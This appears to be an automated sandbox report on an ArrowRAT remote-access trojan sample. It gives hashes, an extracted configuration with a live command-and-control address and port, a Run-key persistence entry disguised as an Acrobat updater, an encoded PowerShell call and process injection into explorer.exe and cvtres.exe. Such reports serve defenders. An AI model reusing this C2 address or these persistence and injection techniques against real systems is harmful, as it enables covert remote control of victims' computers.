Overview
overview
10Static
static
10arrow/0caa...bd.exe
windows7-x64
10arrow/0caa...bd.exe
windows10-2004-x64
10arrow/150c...0a.exe
windows7-x64
10arrow/150c...0a.exe
windows10-2004-x64
10arrow/17a7...ff.exe
windows7-x64
10arrow/17a7...ff.exe
windows10-2004-x64
10arrow/2380...0c.exe
windows7-x64
10arrow/2380...0c.exe
windows10-2004-x64
10arrow/2fb8...ee.exe
windows7-x64
3arrow/2fb8...ee.exe
windows10-2004-x64
7arrow/3dbd...fb.exe
windows7-x64
10arrow/3dbd...fb.exe
windows10-2004-x64
10arrow/4a09...07.exe
windows7-x64
10arrow/4a09...07.exe
windows10-2004-x64
10arrow/4c4d...a5.exe
windows7-x64
3arrow/4c4d...a5.exe
windows10-2004-x64
7arrow/54a0...24.exe
windows7-x64
10arrow/54a0...24.exe
windows10-2004-x64
10arrow/59a7...8c.exe
windows7-x64
10arrow/59a7...8c.exe
windows10-2004-x64
10arrow/5a45...7c.exe
windows7-x64
10arrow/5a45...7c.exe
windows10-2004-x64
10arrow/5d57...92.exe
windows7-x64
10arrow/5d57...92.exe
windows10-2004-x64
10arrow/6540...5e.exe
windows7-x64
10arrow/6540...5e.exe
windows10-2004-x64
10arrow/8a3d...bc.exe
windows7-x64
10arrow/8a3d...bc.exe
windows10-2004-x64
10arrow/a192...71.exe
windows7-x64
10arrow/a192...71.exe
windows10-2004-x64
7arrow/b20d...3f.exe
windows7-x64
10arrow/b20d...3f.exe
windows10-2004-x64
10Analysis
-
max time kernel
145s -
max time network
151s -
platform
windows7_x64 -
resource
win7-20230220-en -
resource tags
arch:x64arch:x86image:win7-20230220-enlocale:en-usos:windows7-x64system -
submitted
04-05-2023 12:31
Static task
static1
Behavioral task
behavioral1
Sample
arrow/0caa17db0c1d695ce4e5bc3f3fc7c9c2e7f96e489108e0303b81fa45efcf92bd.exe
Resource
win7-20230220-en
Behavioral task
behavioral2
Sample
arrow/0caa17db0c1d695ce4e5bc3f3fc7c9c2e7f96e489108e0303b81fa45efcf92bd.exe
Resource
win10v2004-20230220-en
Behavioral task
behavioral3
Sample
arrow/150c06bc4cba9064302fb96f2b3565f433b43847b6d59448ce15b9024e6c9b0a.exe
Resource
win7-20230220-en
Behavioral task
behavioral4
Sample
arrow/150c06bc4cba9064302fb96f2b3565f433b43847b6d59448ce15b9024e6c9b0a.exe
Resource
win10v2004-20230220-en
Behavioral task
behavioral5
Sample
arrow/17a76858f5bba3812b8f429e261ba0e84baf8197fe1f4478aa6c7adc5d8dd6ff.exe
Resource
win7-20230220-en
Behavioral task
behavioral6
Sample
arrow/17a76858f5bba3812b8f429e261ba0e84baf8197fe1f4478aa6c7adc5d8dd6ff.exe
Resource
win10v2004-20230220-en
Behavioral task
behavioral7
Sample
arrow/2380ff875da958af3a345764860a8d70761bdc4f9feb20c1b183a83b9cae1b0c.exe
Resource
win7-20230220-en
Behavioral task
behavioral8
Sample
arrow/2380ff875da958af3a345764860a8d70761bdc4f9feb20c1b183a83b9cae1b0c.exe
Resource
win10v2004-20230220-en
Behavioral task
behavioral9
Sample
arrow/2fb8100d4fb1ee22837aec10889c4b0303434e50944b96a390164e449eb62dee.exe
Resource
win7-20230220-en
Behavioral task
behavioral10
Sample
arrow/2fb8100d4fb1ee22837aec10889c4b0303434e50944b96a390164e449eb62dee.exe
Resource
win10v2004-20230220-en
Behavioral task
behavioral11
Sample
arrow/3dbd1065734c9b3e603bc2a81dbadb77beeb54c6a918a6a4ae0687659ac3c0fb.exe
Resource
win7-20230220-en
Behavioral task
behavioral12
Sample
arrow/3dbd1065734c9b3e603bc2a81dbadb77beeb54c6a918a6a4ae0687659ac3c0fb.exe
Resource
win10v2004-20230220-en
Behavioral task
behavioral13
Sample
arrow/4a09a7db3729524b264f61bd57d422714e43167d391eae1df73cad90c2982d07.exe
Resource
win7-20230220-en
Behavioral task
behavioral14
Sample
arrow/4a09a7db3729524b264f61bd57d422714e43167d391eae1df73cad90c2982d07.exe
Resource
win10v2004-20230221-en
Behavioral task
behavioral15
Sample
arrow/4c4d844ace41156600bf0c2ab9df287538002abf30d0ba3f50836b2e49f5e0a5.exe
Resource
win7-20230220-en
Behavioral task
behavioral16
Sample
arrow/4c4d844ace41156600bf0c2ab9df287538002abf30d0ba3f50836b2e49f5e0a5.exe
Resource
win10v2004-20230220-en
Behavioral task
behavioral17
Sample
arrow/54a0a1cf6b5fb30614ff4a2a7757cadf23fa539b4a352137dfc3292c6ceffa24.exe
Resource
win7-20230220-en
Behavioral task
behavioral18
Sample
arrow/54a0a1cf6b5fb30614ff4a2a7757cadf23fa539b4a352137dfc3292c6ceffa24.exe
Resource
win10v2004-20230220-en
Behavioral task
behavioral19
Sample
arrow/59a734c5ae920f5791ace8728981fffe7c9f9270fe26c27c9482dde038dd398c.exe
Resource
win7-20230220-en
Behavioral task
behavioral20
Sample
arrow/59a734c5ae920f5791ace8728981fffe7c9f9270fe26c27c9482dde038dd398c.exe
Resource
win10v2004-20230220-en
Behavioral task
behavioral21
Sample
arrow/5a45e4a32a4f2081b33dee2ab94eb3ebb4afafe0bd8f5b76e93dfe975c4a607c.exe
Resource
win7-20230220-en
Behavioral task
behavioral22
Sample
arrow/5a45e4a32a4f2081b33dee2ab94eb3ebb4afafe0bd8f5b76e93dfe975c4a607c.exe
Resource
win10v2004-20230221-en
Behavioral task
behavioral23
Sample
arrow/5d573461fbe87a4441a12b5b61a3b74019aa21a784f9cf4410e1da100a55c792.exe
Resource
win7-20230220-en
Behavioral task
behavioral24
Sample
arrow/5d573461fbe87a4441a12b5b61a3b74019aa21a784f9cf4410e1da100a55c792.exe
Resource
win10v2004-20230220-en
Behavioral task
behavioral25
Sample
arrow/65403a8b9ecca912ea5cfa91aecdbe77c23e652e4c7465efded126c74711f65e.exe
Resource
win7-20230220-en
Behavioral task
behavioral26
Sample
arrow/65403a8b9ecca912ea5cfa91aecdbe77c23e652e4c7465efded126c74711f65e.exe
Resource
win10v2004-20230220-en
Behavioral task
behavioral27
Sample
arrow/8a3d555c8d1019b6d42721a2eea770d2101458fd70b208f6767db2eeb1cd44bc.exe
Resource
win7-20230220-en
Behavioral task
behavioral28
Sample
arrow/8a3d555c8d1019b6d42721a2eea770d2101458fd70b208f6767db2eeb1cd44bc.exe
Resource
win10v2004-20230220-en
Behavioral task
behavioral29
Sample
arrow/a1923ce6f95ba7e57b9d8ea27c1867283cacbc992a0f9e16ec9dd864930d9d71.exe
Resource
win7-20230220-en
Behavioral task
behavioral30
Sample
arrow/a1923ce6f95ba7e57b9d8ea27c1867283cacbc992a0f9e16ec9dd864930d9d71.exe
Resource
win10v2004-20230220-en
Behavioral task
behavioral31
Sample
arrow/b20df532e15674feb9da8728664caa14c6447f4473f2d64f6052de6af0737b3f.exe
Resource
win7-20230220-en
Behavioral task
behavioral32
Sample
arrow/b20df532e15674feb9da8728664caa14c6447f4473f2d64f6052de6af0737b3f.exe
Resource
win10v2004-20230220-en
General
-
Target
arrow/a1923ce6f95ba7e57b9d8ea27c1867283cacbc992a0f9e16ec9dd864930d9d71.exe
-
Size
2.2MB
-
MD5
286de0123129cb1bdb0533301f435746
-
SHA1
28887e5a7c28661db7b3d4da3612bafd05604813
-
SHA256
a1923ce6f95ba7e57b9d8ea27c1867283cacbc992a0f9e16ec9dd864930d9d71
-
SHA512
07da8387eeffada23d39eed1390972e37031ea72a2f8a046027ac160f8ecef81ba3011698dac5fafc5114fe688796b1bc7c4df8a283dc1e23f76f0a2faf0b0bc
-
SSDEEP
49152:IhgaZCojYG3CmQYbfHxDJ6aiyc7jntoe:IhggwdY7d0tV
Malware Config
Extracted
arrowrat
Client
185.246.221.202:17168
WcOErhAdu
Signatures
-
Modifies Installed Components in the registry 2 TTPs 1 IoCs
Processes:
explorer.exedescription ioc process Key created \REGISTRY\USER\S-1-5-21-1283023626-844874658-3193756055-1000\Software\Microsoft\Active Setup\Installed Components explorer.exe -
Adds Run key to start application 2 TTPs 1 IoCs
Processes:
a1923ce6f95ba7e57b9d8ea27c1867283cacbc992a0f9e16ec9dd864930d9d71.exedescription ioc process Set value (str) \REGISTRY\USER\S-1-5-21-1283023626-844874658-3193756055-1000\Software\Microsoft\Windows\CurrentVersion\Run\update = "\"C:\\Users\\Admin\\AppData\\Roaming\\Acrobat\\update.exe\"" a1923ce6f95ba7e57b9d8ea27c1867283cacbc992a0f9e16ec9dd864930d9d71.exe -
Suspicious use of SetThreadContext 2 IoCs
Processes:
a1923ce6f95ba7e57b9d8ea27c1867283cacbc992a0f9e16ec9dd864930d9d71.exea1923ce6f95ba7e57b9d8ea27c1867283cacbc992a0f9e16ec9dd864930d9d71.exedescription pid process target process PID 1712 set thread context of 852 1712 a1923ce6f95ba7e57b9d8ea27c1867283cacbc992a0f9e16ec9dd864930d9d71.exe a1923ce6f95ba7e57b9d8ea27c1867283cacbc992a0f9e16ec9dd864930d9d71.exe PID 852 set thread context of 1172 852 a1923ce6f95ba7e57b9d8ea27c1867283cacbc992a0f9e16ec9dd864930d9d71.exe cvtres.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Modifies registry class 5 IoCs
Processes:
explorer.exedescription ioc process Key created \REGISTRY\USER\S-1-5-21-1283023626-844874658-3193756055-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell explorer.exe Key created \REGISTRY\USER\S-1-5-21-1283023626-844874658-3193756055-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\BagMRU explorer.exe Set value (data) \REGISTRY\USER\S-1-5-21-1283023626-844874658-3193756055-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\NodeSlots explorer.exe Set value (data) \REGISTRY\USER\S-1-5-21-1283023626-844874658-3193756055-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\MRUListEx = ffffffff explorer.exe Key created \REGISTRY\USER\S-1-5-21-1283023626-844874658-3193756055-1000_Classes\Local Settings explorer.exe -
Suspicious behavior: EnumeratesProcesses 3 IoCs
Processes:
powershell.exea1923ce6f95ba7e57b9d8ea27c1867283cacbc992a0f9e16ec9dd864930d9d71.exepid process 1456 powershell.exe 852 a1923ce6f95ba7e57b9d8ea27c1867283cacbc992a0f9e16ec9dd864930d9d71.exe 852 a1923ce6f95ba7e57b9d8ea27c1867283cacbc992a0f9e16ec9dd864930d9d71.exe -
Suspicious use of AdjustPrivilegeToken 9 IoCs
Processes:
a1923ce6f95ba7e57b9d8ea27c1867283cacbc992a0f9e16ec9dd864930d9d71.exepowershell.exea1923ce6f95ba7e57b9d8ea27c1867283cacbc992a0f9e16ec9dd864930d9d71.exeexplorer.exedescription pid process Token: SeDebugPrivilege 1712 a1923ce6f95ba7e57b9d8ea27c1867283cacbc992a0f9e16ec9dd864930d9d71.exe Token: SeDebugPrivilege 1456 powershell.exe Token: SeDebugPrivilege 852 a1923ce6f95ba7e57b9d8ea27c1867283cacbc992a0f9e16ec9dd864930d9d71.exe Token: SeShutdownPrivilege 580 explorer.exe Token: SeShutdownPrivilege 580 explorer.exe Token: SeShutdownPrivilege 580 explorer.exe Token: SeShutdownPrivilege 580 explorer.exe Token: SeShutdownPrivilege 580 explorer.exe Token: SeShutdownPrivilege 580 explorer.exe -
Suspicious use of FindShellTrayWindow 2 IoCs
Processes:
explorer.exepid process 580 explorer.exe 580 explorer.exe -
Suspicious use of SetWindowsHookEx 1 IoCs
Processes:
a1923ce6f95ba7e57b9d8ea27c1867283cacbc992a0f9e16ec9dd864930d9d71.exepid process 852 a1923ce6f95ba7e57b9d8ea27c1867283cacbc992a0f9e16ec9dd864930d9d71.exe -
Suspicious use of WriteProcessMemory 29 IoCs
Processes:
a1923ce6f95ba7e57b9d8ea27c1867283cacbc992a0f9e16ec9dd864930d9d71.exea1923ce6f95ba7e57b9d8ea27c1867283cacbc992a0f9e16ec9dd864930d9d71.exeexplorer.exedescription pid process target process PID 1712 wrote to memory of 1456 1712 a1923ce6f95ba7e57b9d8ea27c1867283cacbc992a0f9e16ec9dd864930d9d71.exe powershell.exe PID 1712 wrote to memory of 1456 1712 a1923ce6f95ba7e57b9d8ea27c1867283cacbc992a0f9e16ec9dd864930d9d71.exe powershell.exe PID 1712 wrote to memory of 1456 1712 a1923ce6f95ba7e57b9d8ea27c1867283cacbc992a0f9e16ec9dd864930d9d71.exe powershell.exe PID 1712 wrote to memory of 1456 1712 a1923ce6f95ba7e57b9d8ea27c1867283cacbc992a0f9e16ec9dd864930d9d71.exe powershell.exe PID 1712 wrote to memory of 852 1712 a1923ce6f95ba7e57b9d8ea27c1867283cacbc992a0f9e16ec9dd864930d9d71.exe a1923ce6f95ba7e57b9d8ea27c1867283cacbc992a0f9e16ec9dd864930d9d71.exe PID 1712 wrote to memory of 852 1712 a1923ce6f95ba7e57b9d8ea27c1867283cacbc992a0f9e16ec9dd864930d9d71.exe a1923ce6f95ba7e57b9d8ea27c1867283cacbc992a0f9e16ec9dd864930d9d71.exe PID 1712 wrote to memory of 852 1712 a1923ce6f95ba7e57b9d8ea27c1867283cacbc992a0f9e16ec9dd864930d9d71.exe a1923ce6f95ba7e57b9d8ea27c1867283cacbc992a0f9e16ec9dd864930d9d71.exe PID 1712 wrote to memory of 852 1712 a1923ce6f95ba7e57b9d8ea27c1867283cacbc992a0f9e16ec9dd864930d9d71.exe a1923ce6f95ba7e57b9d8ea27c1867283cacbc992a0f9e16ec9dd864930d9d71.exe PID 1712 wrote to memory of 852 1712 a1923ce6f95ba7e57b9d8ea27c1867283cacbc992a0f9e16ec9dd864930d9d71.exe a1923ce6f95ba7e57b9d8ea27c1867283cacbc992a0f9e16ec9dd864930d9d71.exe PID 1712 wrote to memory of 852 1712 a1923ce6f95ba7e57b9d8ea27c1867283cacbc992a0f9e16ec9dd864930d9d71.exe a1923ce6f95ba7e57b9d8ea27c1867283cacbc992a0f9e16ec9dd864930d9d71.exe PID 1712 wrote to memory of 852 1712 a1923ce6f95ba7e57b9d8ea27c1867283cacbc992a0f9e16ec9dd864930d9d71.exe a1923ce6f95ba7e57b9d8ea27c1867283cacbc992a0f9e16ec9dd864930d9d71.exe PID 1712 wrote to memory of 852 1712 a1923ce6f95ba7e57b9d8ea27c1867283cacbc992a0f9e16ec9dd864930d9d71.exe a1923ce6f95ba7e57b9d8ea27c1867283cacbc992a0f9e16ec9dd864930d9d71.exe PID 1712 wrote to memory of 852 1712 a1923ce6f95ba7e57b9d8ea27c1867283cacbc992a0f9e16ec9dd864930d9d71.exe a1923ce6f95ba7e57b9d8ea27c1867283cacbc992a0f9e16ec9dd864930d9d71.exe PID 852 wrote to memory of 580 852 a1923ce6f95ba7e57b9d8ea27c1867283cacbc992a0f9e16ec9dd864930d9d71.exe explorer.exe PID 852 wrote to memory of 580 852 a1923ce6f95ba7e57b9d8ea27c1867283cacbc992a0f9e16ec9dd864930d9d71.exe explorer.exe PID 852 wrote to memory of 580 852 a1923ce6f95ba7e57b9d8ea27c1867283cacbc992a0f9e16ec9dd864930d9d71.exe explorer.exe PID 852 wrote to memory of 580 852 a1923ce6f95ba7e57b9d8ea27c1867283cacbc992a0f9e16ec9dd864930d9d71.exe explorer.exe PID 852 wrote to memory of 1172 852 a1923ce6f95ba7e57b9d8ea27c1867283cacbc992a0f9e16ec9dd864930d9d71.exe cvtres.exe PID 852 wrote to memory of 1172 852 a1923ce6f95ba7e57b9d8ea27c1867283cacbc992a0f9e16ec9dd864930d9d71.exe cvtres.exe PID 852 wrote to memory of 1172 852 a1923ce6f95ba7e57b9d8ea27c1867283cacbc992a0f9e16ec9dd864930d9d71.exe cvtres.exe PID 852 wrote to memory of 1172 852 a1923ce6f95ba7e57b9d8ea27c1867283cacbc992a0f9e16ec9dd864930d9d71.exe cvtres.exe PID 852 wrote to memory of 1172 852 a1923ce6f95ba7e57b9d8ea27c1867283cacbc992a0f9e16ec9dd864930d9d71.exe cvtres.exe PID 852 wrote to memory of 1172 852 a1923ce6f95ba7e57b9d8ea27c1867283cacbc992a0f9e16ec9dd864930d9d71.exe cvtres.exe PID 852 wrote to memory of 1172 852 a1923ce6f95ba7e57b9d8ea27c1867283cacbc992a0f9e16ec9dd864930d9d71.exe cvtres.exe PID 852 wrote to memory of 1172 852 a1923ce6f95ba7e57b9d8ea27c1867283cacbc992a0f9e16ec9dd864930d9d71.exe cvtres.exe PID 852 wrote to memory of 1172 852 a1923ce6f95ba7e57b9d8ea27c1867283cacbc992a0f9e16ec9dd864930d9d71.exe cvtres.exe PID 580 wrote to memory of 1632 580 explorer.exe ctfmon.exe PID 580 wrote to memory of 1632 580 explorer.exe ctfmon.exe PID 580 wrote to memory of 1632 580 explorer.exe ctfmon.exe
Processes
-
C:\Users\Admin\AppData\Local\Temp\arrow\a1923ce6f95ba7e57b9d8ea27c1867283cacbc992a0f9e16ec9dd864930d9d71.exe"C:\Users\Admin\AppData\Local\Temp\arrow\a1923ce6f95ba7e57b9d8ea27c1867283cacbc992a0f9e16ec9dd864930d9d71.exe"1⤵
- Adds Run key to start application
- Suspicious use of SetThreadContext
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1712 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ENC UwB0AGEAcgB0AC0AUwBsAGUAZQBwACAALQBTAGUAYwBvAG4AZABzACAAMwAxAA==2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1456 -
C:\Users\Admin\AppData\Local\Temp\arrow\a1923ce6f95ba7e57b9d8ea27c1867283cacbc992a0f9e16ec9dd864930d9d71.exeC:\Users\Admin\AppData\Local\Temp\arrow\a1923ce6f95ba7e57b9d8ea27c1867283cacbc992a0f9e16ec9dd864930d9d71.exe2⤵
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:852 -
C:\Windows\explorer.exe"C:\Windows\explorer.exe"3⤵
- Modifies Installed Components in the registry
- Modifies registry class
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of WriteProcessMemory
PID:580 -
C:\Windows\system32\ctfmon.exectfmon.exe4⤵PID:1632
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" Client 185.246.221.202 17168 WcOErhAdu3⤵PID:1172
-
C:\Windows\system32\AUDIODG.EXEC:\Windows\system32\AUDIODG.EXE 0x55c1⤵PID:1948
Network
MITRE ATT&CK Enterprise v6
Replay Monitor
Loading Replay Monitor...
Downloads
-
memory/852-9308-0x0000000004A90000-0x0000000004AD0000-memory.dmpFilesize
256KB
-
memory/852-9292-0x0000000000400000-0x000000000042C000-memory.dmpFilesize
176KB
-
memory/1172-9309-0x0000000004800000-0x0000000004840000-memory.dmpFilesize
256KB
-
memory/1172-9303-0x0000000000400000-0x0000000000418000-memory.dmpFilesize
96KB
-
memory/1456-9276-0x0000000000290000-0x00000000002D0000-memory.dmpFilesize
256KB
-
memory/1456-9279-0x0000000000290000-0x00000000002D0000-memory.dmpFilesize
256KB
-
memory/1456-9278-0x0000000000290000-0x00000000002D0000-memory.dmpFilesize
256KB
-
memory/1456-9275-0x0000000000290000-0x00000000002D0000-memory.dmpFilesize
256KB
-
memory/1712-95-0x0000000004AE0000-0x0000000004D08000-memory.dmpFilesize
2.2MB
-
memory/1712-105-0x0000000004AE0000-0x0000000004D08000-memory.dmpFilesize
2.2MB
-
memory/1712-71-0x0000000004AE0000-0x0000000004D08000-memory.dmpFilesize
2.2MB
-
memory/1712-73-0x0000000004AE0000-0x0000000004D08000-memory.dmpFilesize
2.2MB
-
memory/1712-75-0x0000000004AE0000-0x0000000004D08000-memory.dmpFilesize
2.2MB
-
memory/1712-77-0x0000000004AE0000-0x0000000004D08000-memory.dmpFilesize
2.2MB
-
memory/1712-79-0x0000000004AE0000-0x0000000004D08000-memory.dmpFilesize
2.2MB
-
memory/1712-81-0x0000000004AE0000-0x0000000004D08000-memory.dmpFilesize
2.2MB
-
memory/1712-83-0x0000000004AE0000-0x0000000004D08000-memory.dmpFilesize
2.2MB
-
memory/1712-85-0x0000000004AE0000-0x0000000004D08000-memory.dmpFilesize
2.2MB
-
memory/1712-87-0x0000000004AE0000-0x0000000004D08000-memory.dmpFilesize
2.2MB
-
memory/1712-89-0x0000000004AE0000-0x0000000004D08000-memory.dmpFilesize
2.2MB
-
memory/1712-91-0x0000000004AE0000-0x0000000004D08000-memory.dmpFilesize
2.2MB
-
memory/1712-93-0x0000000004AE0000-0x0000000004D08000-memory.dmpFilesize
2.2MB
-
memory/1712-54-0x0000000000DD0000-0x0000000001008000-memory.dmpFilesize
2.2MB
-
memory/1712-97-0x0000000004AE0000-0x0000000004D08000-memory.dmpFilesize
2.2MB
-
memory/1712-99-0x0000000004AE0000-0x0000000004D08000-memory.dmpFilesize
2.2MB
-
memory/1712-101-0x0000000004AE0000-0x0000000004D08000-memory.dmpFilesize
2.2MB
-
memory/1712-103-0x0000000004AE0000-0x0000000004D08000-memory.dmpFilesize
2.2MB
-
memory/1712-69-0x0000000004AE0000-0x0000000004D08000-memory.dmpFilesize
2.2MB
-
memory/1712-107-0x0000000004AE0000-0x0000000004D08000-memory.dmpFilesize
2.2MB
-
memory/1712-109-0x0000000004AE0000-0x0000000004D08000-memory.dmpFilesize
2.2MB
-
memory/1712-111-0x0000000004AE0000-0x0000000004D08000-memory.dmpFilesize
2.2MB
-
memory/1712-113-0x0000000004AE0000-0x0000000004D08000-memory.dmpFilesize
2.2MB
-
memory/1712-115-0x0000000004AE0000-0x0000000004D08000-memory.dmpFilesize
2.2MB
-
memory/1712-117-0x0000000004AE0000-0x0000000004D08000-memory.dmpFilesize
2.2MB
-
memory/1712-119-0x0000000004AE0000-0x0000000004D08000-memory.dmpFilesize
2.2MB
-
memory/1712-9272-0x0000000004530000-0x0000000004570000-memory.dmpFilesize
256KB
-
memory/1712-67-0x0000000004AE0000-0x0000000004D08000-memory.dmpFilesize
2.2MB
-
memory/1712-65-0x0000000004AE0000-0x0000000004D08000-memory.dmpFilesize
2.2MB
-
memory/1712-9277-0x0000000004530000-0x0000000004570000-memory.dmpFilesize
256KB
-
memory/1712-63-0x0000000004AE0000-0x0000000004D08000-memory.dmpFilesize
2.2MB
-
memory/1712-61-0x0000000004AE0000-0x0000000004D08000-memory.dmpFilesize
2.2MB
-
memory/1712-59-0x0000000004AE0000-0x0000000004D08000-memory.dmpFilesize
2.2MB
-
memory/1712-57-0x0000000004AE0000-0x0000000004D08000-memory.dmpFilesize
2.2MB
-
memory/1712-56-0x0000000004AE0000-0x0000000004D08000-memory.dmpFilesize
2.2MB
-
memory/1712-55-0x0000000004AE0000-0x0000000004D0E000-memory.dmpFilesize
2.2MB